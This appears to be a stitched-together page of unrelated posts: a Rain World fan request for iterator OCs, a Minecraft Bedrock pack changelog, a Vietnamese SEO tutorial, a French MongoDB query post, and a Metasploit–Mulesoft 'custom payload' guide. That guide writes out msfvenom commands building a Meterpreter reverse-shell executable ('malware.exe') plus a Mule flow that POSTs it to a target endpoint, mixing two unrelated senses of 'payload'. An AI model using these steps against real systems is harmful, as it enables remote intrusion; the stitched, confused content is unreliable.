To All Rain World Artists

Currently working on a project about iterator OCs, need as many of them as possible

If you want your OC featured, reblog this post with your iterator OC!

Do rainworld reblog so your rainworld friends can rainworld see this rainworld post thx ^^ :P

Details:

A friend and I noticed that Limbus Company EGO gifts' names are quite similar to Iterator names, so I'm trying to make a minigame of "Is that an Iterator OC or an EGO Gift", all iterator OCs will be credited with artist name, link and image

Edit: Turns out confirming "JSON Added" for everyone is very exhausting, so from now on if you got in you will not be notified

Also if you want to make my job easier, it'd be nice to leave your OCs in this format:

{ "name": "[Name Here Capitalized Yes Even Articles Like The And A]", "image": "[image.link.here]", "owner": "[Your Name Here]", "ownerLink": "[link.to.your.blog.or.site.or.whatever.here]" }

Danke sehr!

links coming in a reblog, changelog under cut:

on bedrock, pack version 1.2.0:

Updated Enchanting Table Screen when using CrisXolt's VDX Legacy Desktop UI. It no longer runs into visual issues with Screen Animations enabled, and its Empty Lapis Slot now uses its updated texture to match the Smithing Table Screen. (Edited texture)

The rest of the GUI is now compatible with CrisXolt's VDX Legacy Desktop UI since Thickly Be-Beveled Buttons got a Java Edition port. (Added textures)

The Title Screen Buttons are now compatible with CrisXolt's VDX Old Days UI . (Added textures)

Added Subpacks to choose the color buttons turn when hovering over them! The options are Modern Green and Classic Blue (does not affect Container Screens or CrisXolt's packs. (Edited JSON, added textures)

Tweaked the color pallet for hovering over dark buttons (in green mode) to look less broken. (Edited texture)

Textured the "Verbose Button" on the Sidebar, because I missed it before. (Added texture)

Fixed the "Verbose Button" on the Sidebar, because it's completely broken in vanilla. (Added JSON, added textures)

on java, nothing. since this is the first version, there is no changelog :P

Metasploit: Setting a Custom Payload Mulesoft

To transform and set a custom payload in Metasploit and Mulesoft, you need to follow specific steps tailored to each platform. Here are the detailed steps for each:

Metasploit: Setting a Custom Payload

Open Metasploit Framework:

msfconsole

Select an Exploit:

use exploit/multi/handler

Configure the Payload:

set payload <payload_name>

Replace <payload_name> with the desired payload, for example: set payload windows/meterpreter/reverse_tcp

Set the Payload Options:

set LHOST <attacker_IP> set LPORT <attacker_port>

Replace <attacker_IP> with your attacker's IP address and <attacker_port> with the port you want to use.

Generate the Payload:

msfvenom -p <payload_name> LHOST=<attacker_IP> LPORT=<attacker_port> -f <format> -o <output_file>

Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe

Execute the Handler:

exploit

Mulesoft: Transforming and Setting Payload

Open Anypoint Studio: Open your Mulesoft Anypoint Studio to design and configure your Mule application.

Create a New Mule Project:

Go to File -> New -> Mule Project.

Enter the project name and finish the setup.

Configure the Mule Flow:

Drag and drop a HTTP Listener component to the canvas.

Configure the HTTP Listener by setting the host and port.

Add a Transform Message Component:

Drag and drop a Transform Message component after the HTTP Listener.

Configure the Transform Message component to define the input and output payload.

Set the Payload:

In the Transform Message component, set the payload using DataWeave expressions. Example:

%dw 2.0 output application/json --- { message: "Custom Payload", timestamp: now() }

Add Logger (Optional):

Drag and drop a Logger component to log the transformed payload for debugging purposes.

Deploy and Test:

Deploy the Mule application.

Use tools like Postman or cURL to send a request to your Mule application and verify the custom payload transformation.

Example: Integrating Metasploit with Mulesoft

If you want to simulate a scenario where Mulesoft processes payloads for Metasploit, follow these steps:

Generate Payload with Metasploit:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe

Create a Mule Flow to Handle the Payload:

Use the File connector to read the generated payload file (malware.exe).

Transform the file content if necessary using a Transform Message component.

Send the payload to a specified endpoint or store it as required. Example Mule flow:

<file:read doc:name="Read Payload" path="/tmp/malware.exe"/> <dw:transform-message doc:name="Transform Payload"> <dw:set-payload><![CDATA[%dw 2.0 output application/octet-stream --- payload]]></dw:set-payload> </dw:transform-message> <http:request method="POST" url="http://target-endpoint" doc:name="Send Payload"> <http:request-builder> <http:header headerName="Content-Type" value="application/octet-stream"/> </http:request-builder> </http:request>

Following these steps, you can generate and handle custom payloads using Metasploit and Mulesoft. This process demonstrates how to effectively create, transform, and manage payloads across both platforms.

Kỹ thuật SEO website A-Z cho người mới bắt đầu

Kỹ thuật SEO website đóng vai trò then chốt trong quá trình tối ưu hóa trang web cho các công cụ tìm kiếm. Đây không chỉ là một phần của SEO mà còn là nền tảng cốt lõi quyết định hiệu quả của mọi chiến lược SEO khác. Kỹ thuật SEO giúp công cụ tìm kiếm truy cập, thu thập, diễn giải và lập chỉ mục website một cách hiệu quả, không gặp trở ngại kỹ thuật nào.

Tầm Quan Trọng Của Kỹ Thuật SEO Website

Kỹ thuật SEO website được ví như phần móng của một ngôi nhà. Nếu móng yếu, dù nội thất bên trong (nội dung) có đẹp đến đâu, ngôi nhà vẫn không thể vững chắc. Theo nhiều nghiên cứu, 30-40% các vấn đề về xếp hạng tìm kiếm bắt nguồn từ lỗi kỹ thuật SEO. Ngay cả khi bạn có nội dung xuất sắc và backlink chất lượng cao, những vấn đề kỹ thuật như thời gian tải chậm hay lỗi crawl budget có thể khiến website của bạn không đạt được thứ hạng xứng đáng.

Các Yếu Tố Kỹ Thuật SEO Nền Tảng

1. Xác Định Tên Miền Ưu Tiên

Một website có thể truy cập được qua nhiều URL khác nhau (www và non-www, HTTP và HTTPS). Điều này gây nhầm lẫn cho công cụ tìm kiếm và dẫn đến vấn đề nội dung trùng lặp.

Thực hiện:

Chọn tên miền ưu tiên (ví dụ: https://www.example.com)

Thiết lập chuyển hướng 301 từ các biến thể khác

Cấu hình tên miền ưu tiên trong Google Search Console

2. Tối Ưu Hóa Robots.txt

File robots.txt đặt tại thư mục gốc của website cung cấp hướng dẫn cho các bot tìm kiếm. Một file robots.txt được tối ưu hóa hợp lý sẽ:

Cấu trúc tiêu chuẩn:

User-agent: [tên bot]

Disallow: [đường dẫn cấm]

Allow: [đường dẫn cho phép]

Sitemap: [URL sitemap]

Các phần cần disallow thông thường:

Trang admin, quản trị hệ thống

Trang tạm (staging)

Trang tìm kiếm nội bộ

Trang lọc sản phẩm không có giá trị SEO

3. Cấu Trúc URL Thân Thiện

URL thân thiện với SEO cần tuân thủ các nguyên tắc:

Ngắn gọn, mô tả, dễ đọc

Sử dụng ký tự chữ thường

Phân tách từ bằng dấu gạch ngang (-)

Bao gồm từ khóa mục tiêu

Tránh tham số URL phức tạp (?, &, =)

Ví dụ tốt: https://example.com/ky-thuat-seo-website Ví dụ kém: https://example.com/p=123?id=456

4. Canonical URL

Thẻ canonical giúp xác định phiên bản chính của trang khi có nhiều URL chứa nội dung tương tự, tránh vấn đề nội dung trùng lặp.

Cách triển khai:

html

<link rel="canonical" href="https://example.com/trang-chinh" />

5. Breadcrumbs Tối Ưu

Breadcrumbs không chỉ hỗ trợ người dùng điều hướng mà còn cung cấp cho Google hiểu về cấu trúc website.

Ví dụ code mẫu với schema markup:

html

<ol itemscope itemtype="https://schema.org/BreadcrumbList">

  <li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem">

    <a itemprop="item" href="https://example.com/"><span itemprop="name">Trang chủ</span></a>

    <meta itemprop="position" content="1" />

  </li>

  <li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem">

    <a itemprop="item" href="https://example.com/seo/"><span itemprop="name">SEO</span></a>

    <meta itemprop="position" content="2" />

  </li>

  <li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem">

    <span itemprop="name">Kỹ thuật SEO Website</span>

    <meta itemprop="position" content="3" />

  </li>

</ol>

Tối Ưu Hóa Kỹ Thuật SEO Nâng Cao

1. Tối Ưu Hóa Tốc Độ Tải Trang

Theo nghiên cứu của Google, 53% người dùng sẽ rời bỏ trang web nếu thời gian tải vượt quá 3 giây. Tốc độ tải trang là yếu tố xếp hạng trực tiếp.

Các biện pháp cải thiện:

Nâng cấp hosting lên PHP 8.x (cải thiện 30-50% hiệu suất so với PHP 7.x)

Sử dụng CDN phân phối nội dung

Tối ưu hóa hình ảnh (WebP, lazy loading)

Minify và nén JavaScript, CSS

Giảm thiểu HTTP requests

Sử dụng browser caching

Kích hoạt GZIP compression

2. Dữ Liệu Có Cấu Trúc (Schema Markup)

Schema markup giúp Google hiểu ngữ cảnh của nội dung, tạo ra rich snippets trong kết quả tìm kiếm.

Các loại schema quan trọng:

Organization

WebSite

BreadcrumbList

Article/BlogPosting

Product

FAQ

LocalBusiness

Ví dụ schema cho bài viết:

json

{

  "@context": "https://schema.org",

  "@type": "Article",

  "headline": "Kỹ Thuật SEO Website: Nền Tảng Vững Chắc",

  "author": {

    "@type": "Person",

    "name": "TCC & Partners"

  },

  "datePublished": "2025-04-26",

  "image": "https://example.com/image.jpg",

  "publisher": {

    "@type": "Organization",

    "name": "TCC & Partners",

    "logo": {

      "@type": "ImageObject",

      "url": "https://example.com/logo.jpg"

    }

  }

}

3. Tối Ưu Hóa XML Sitemap

XML Sitemap giúp công cụ tìm kiếm hiểu cấu trúc và tìm thấy nội dung quan trọng trên website.

Thực hành tốt nhất:

Chỉ bao gồm URL quan trọng, có chất lượng

Loại bỏ trang có noindex, trang tác giả không có giá trị

Nhóm theo loại nội dung (bài viết, sản phẩm, trang)

Cập nhật tự động khi có nội dung mới

Giới hạn dưới 50,000 URL/file và kích thước dưới 50MB

Gửi sitemap đến Google Search Console và Bing Webmaster Tools

4. HTTPS Và Bảo Mật

HTTPS không chỉ là yếu tố xếp hạng mà còn tăng lòng tin của người dùng. Theo nghiên cứu, tỷ lệ thoát giảm 10-15% khi website sử dụng HTTPS.

Quy trình chuyển sang HTTPS:

Mua và cài đặt chứng chỉ SSL (Lựa chọn chứng chỉ EV, OV hoặc DV)

Cập nhật các liên kết nội bộ từ HTTP sang HTTPS

Thiết lập chuyển hướng 301 từ HTTP sang HTTPS

Cập nhật các tham chiếu canonical

Cập nhật tên miền ưu tiên trong Google Search Console

Kiểm tra mixed content và sửa lỗi

5. Tối Ưu Hóa Mobile-First Indexing

Google hiện sử dụng phiên bản mobile để lập chỉ mục và xếp hạng. Website không thân thiện với di động sẽ bị ảnh hưởng nghiêm trọng.

Các yếu tố quan trọng:

Thiết kế responsive

Nội dung và cấu trúc đồng nhất giữa desktop và mobile

Tốc độ tải mobile dưới 2.5 giây

Kích thước font và nút bấm phù hợp với thao tác chạm

Không sử dụng Flash hoặc popup xâm lấn

Tối ưu hóa Core Web Vitals cho mobile

6. Phân Trang Và Quốc Tế Hóa

Phân trang tối ưu:

Sử dụng rel="next" và rel="prev" (mặc dù Google không còn sử dụng nhưng vẫn có lợi cho SEO tổng thể)

Sử dụng chỉ mục tự động thay vì noindex cho trang phân trang

Cân nhắc infinite scroll với URL riêng cho từng trang

Quốc tế hóa website:

Sử dụng hreflang để chỉ định phiên bản ngôn ngữ/khu vực

html

<link rel="alternate" hreflang="en-us" href="https://example.com/en-us/page" />

<link rel="alternate" hreflang="vi-vn" href="https://example.com/vi-vn/page" />

Sử dụng cấu trúc URL phù hợp (thư mục /vi-vn/, tên miền phụ vi.example.com, hoặc TLD example.vn)

🚀 Maîtrisez les Requêtes MongoDB avec find() et findOne() !

MongoDB est une base de données NoSQL puissante, conçue pour gérer des données flexibles et non structurées. Contrairement aux bases SQL traditionnelles, MongoDB stocke les données sous forme de documents JSON, ce qui permet une manipulation plus souple et intuitive.

📌 Mais comment interroger efficacement une base de données MongoDB ? C’est là que les méthodes find() et findOne() entrent en jeu !

Dans ma nouvelle vidéo YouTube, je vous guide pas à pas pour comprendre et exploiter ces méthodes essentielles.

🔍 Comprendre find() et findOne() en MongoDB

📌 La méthode find() La méthode find() est utilisée pour récupérer tous les documents d’une collection correspondant à une condition spécifique. Elle est idéale pour extraire un ensemble de résultats et les manipuler dans votre application.

Exemple : Trouver tous les produits avec un prix supérieur à 10 000 :db.products.find({ price: { $gt: 10000 } })

💡 Ici, l’opérateur $gt signifie "greater than", donc seuls les produits dont le prix est supérieur à 10 000 seront affichés.

📌 La méthode findOne() Si vous souhaitez récupérer un seul document correspondant à votre requête, utilisez findOne(). Cette méthode est particulièrement utile pour trouver un élément unique dans une base de données, comme un utilisateur spécifique ou un produit précis.

Exemple : Trouver le premier produit dont le nom commence par "P" :db.products.findOne({ name: { $regex: /^P/ } })

💡 Ici, nous utilisons $regex pour appliquer une expression régulière, ce qui permet de rechercher tous les produits dont le nom commence par "P".

💡 Opérateurs avancés pour requêtes complexes

MongoDB ne se limite pas aux simples requêtes ! Il propose une multitude d’opérateurs logiques et de comparaison pour affiner vos résultats.

🔹 Opérateurs de comparaison :

$eq → Égalité ({ price: { $eq: 5000 } })

$gt → Supérieur ({ price: { $gt: 10000 } })

$gte → Supérieur ou égal

$lt → Inférieur

$lte → Inférieur ou égal

$ne → Différent

🔹 Opérateurs logiques :

$and → Combine plusieurs conditions

$or → Renvoie les documents correspondant à l’une des conditions

$in → Vérifie si une valeur est dans un tableau donné

$nin → Vérifie si une valeur n’est pas dans un tableau

Exemple : Trouver tous les produits de la catégorie "Électronique" dont le prix est supérieur à 10 000 :db.products.find({     $and: [        { price: { $gt: 10000 } },        { category: "Electronics" }    ]})

💡 Explication :

L’opérateur $and permet de combiner plusieurs conditions.

Ici, on recherche les produits qui sont à la fois dans la catégorie "Electronics" ET dont le prix est supérieur à 10 000.

Dans ma vidéo, je vous montre chaque étape en détail, avec des exemples pratiques pour que vous puissiez mettre immédiatement en application ces concepts dans vos propres projets MongoDB.
